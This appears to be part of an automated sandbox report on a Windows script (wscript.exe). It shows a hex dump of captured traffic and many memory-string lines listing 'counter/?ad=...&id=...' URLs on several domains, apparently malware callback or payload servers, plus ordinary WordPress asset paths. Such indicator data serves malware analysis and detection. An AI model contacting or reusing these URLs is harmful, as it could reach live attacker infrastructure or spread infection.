39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 a8 67 6a 45 22 06 55 f5 99 9d a8 55 89 a1 2e 33 90 40 6c cd e3 04 44 62 5b 76 b0 04 a1 44 41 1c 07 91 3b 77 7d a8 91 90 a2 0f 4c 9d bd 88 82 69 90 c4 2f 32 b1 bd 58 d2 2b d3 5d d2 39 33 81 c2 a5 cb d6 23 8f 46 73 f6 82 8b 7f a7 1c de f1 58 42 ce 7f 5a b1 e8 fa 2b 1a d1 65 7c f6 c3 8f c6 f9 9f f0 fd 6c b6 f2 ed 04 aa 77 14 35 6f 23 96 ac 22 bf 04 69 59 96 9a 60 44 69 d1 8d f1 9b 3b 95 fe cd 66 bc 76 7d 27 58 5b 92 05 f1 c7 90 89 bf 91 ef 63 64 da 5e c5 49 b0 fc 03 74 c0 6f 78 75 e2 b3 5f 77 c6 22 df 9a f9 12 d2 0a a3 20 09 78 f5 6f 81 a9 ba 0c 99 e6 07 af 02 7f e6 b9 76 52 e0 de 9d 1d 15 b8 6a a6 d5 11 3c 16 f2 a0 e2 c5 77 0d 9b ed 2a bd 8c 85 08 00 8b 92 df 25 34 ac d6 5d 4a 49 82 5e 40 9d 83 e9 dd a1 50 d6 32 77 ac e2 dd 0a 8e b3 b1 ab 8c 44 ea 25 2c f2 69 02 ca 47 0c 0c 1a 86 d0 08 14 b1 b6 a2 38 7e 1f f4 09 64 e1 08 3e 6b 64 63 9a fc 36 a2 3f ad 82 31 f9 8c fa f4 e7 bf 92 1b b2 0e dd 98 2e dd 6d 9a 69 c6 98 d3 12 9a f0 e1 e9 5f 04 a8 b1 68 74 b3 83 09 d0 28 08 18 ab dc 08 85 9d aa de 8f dc 4b 97 5c 5a 7d ab 73 62 b5 1b 42 d3 34 e6 cc 67 11 4d 82 a8 d1 52 a4 f7 22 4e ae 3d 16 2f 18 4b 5e 10 d7 81 f7 a9 3b 11 69 a6 1d 83 62 e2 7c bc d0 f1 b1 0e 4d 49 b1 15 7a 2b 50 6d 71 0b 7e 12 3a 87 d6 32 39 6f 80 a0 05 f8 4c 81 cf 5a ba be 05 49 ff 74 c9 a2 b3 a1 35 b4 3a 2f 84 c0 5e 70 4d c6 a9 2d 99 e3 d2 b3 17 d4 f3 5e 14 a5 5c e1 13 a8 4f bd c0 be 30 3d 77 1a d1 e8 7a 0f 6e 5d df f6 56 0e 8b 39 5f 8e 1b 27 ad 02 86 16 27 51 e2 f2 78 37 8f bc 98 9e a7 64 01 b3 10 d0 85 6a 30 c1 60 09 d9 cb 67 56 56 88 ae 1c 37 20 a3 Data Ascii: }6;bOl$W3>

Source: wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arlettakubicka.pl/co
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arlettakubicka.pl/counter/?
Source: wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPs
Source: wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5
Source: wscript.exe, 00000000.00000003.2134462093.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1
Source: wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1GNktTwW
Source: wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1GNktTwWR98
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&i
Source: wscript.exe, 00000000.00000003.2135299322.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134547643.0000016E9F709000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134462093.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136703713.0000016E9F705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWk
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsL
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://key33.ru/counter/?ad=1GNktTwWR?
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.c
Source: wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/cA
Source: wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137211657.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136275651.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter
Source: wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GN
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98e
Source: wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137191946.0000016EA1487000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFN
Source: wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyE
Source: wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136703713.0000016E9F705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5
Source: wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUP~
Source: wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137211657.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136275651.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tamilandth.co
Source: wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tamilandth.com/cY
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137249570.0000016EA149E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tamilandth.com/counter/?ad=
Source: wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tamilandth.com/counter/?ad=1GNktTwWR98eD
Source: wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136855151.0000016E9F7DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GN
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/asortyment/
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/biura-magazyny/
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/comments/feed/
Source: wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/counter/?ad=
Source: wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/counter/?ad=1GNktTwW
Source: wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137211657.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136275651.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/counter/?ad=1GNktTwWR98eD
Source: wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxz
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/feed/
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/kontakt/
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/o-nas/
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-admin/admin-ajax.php
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/et-cache/954/et-core-unified-cpt-deferred-954.min.css?ver=1730473688
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1730473688
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954-late.css?ver=1730469746
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954.css?ver=1730469746
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.18
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.18
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/themes/Divi/core/admin/js/common.js?ver=4.18.0
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.
Source: wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/themes/Divi/js/scripts.min.js?ver=4.18.0
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/uploads/2022/08/Zrzut-ekranu-2022-08-20-o-18.11.46.png
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-180x180.png
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-192x192.png
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-270x270.png
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-32x32.png
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-includes/css/dist/block-library/style.min.css?ver=6.7
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
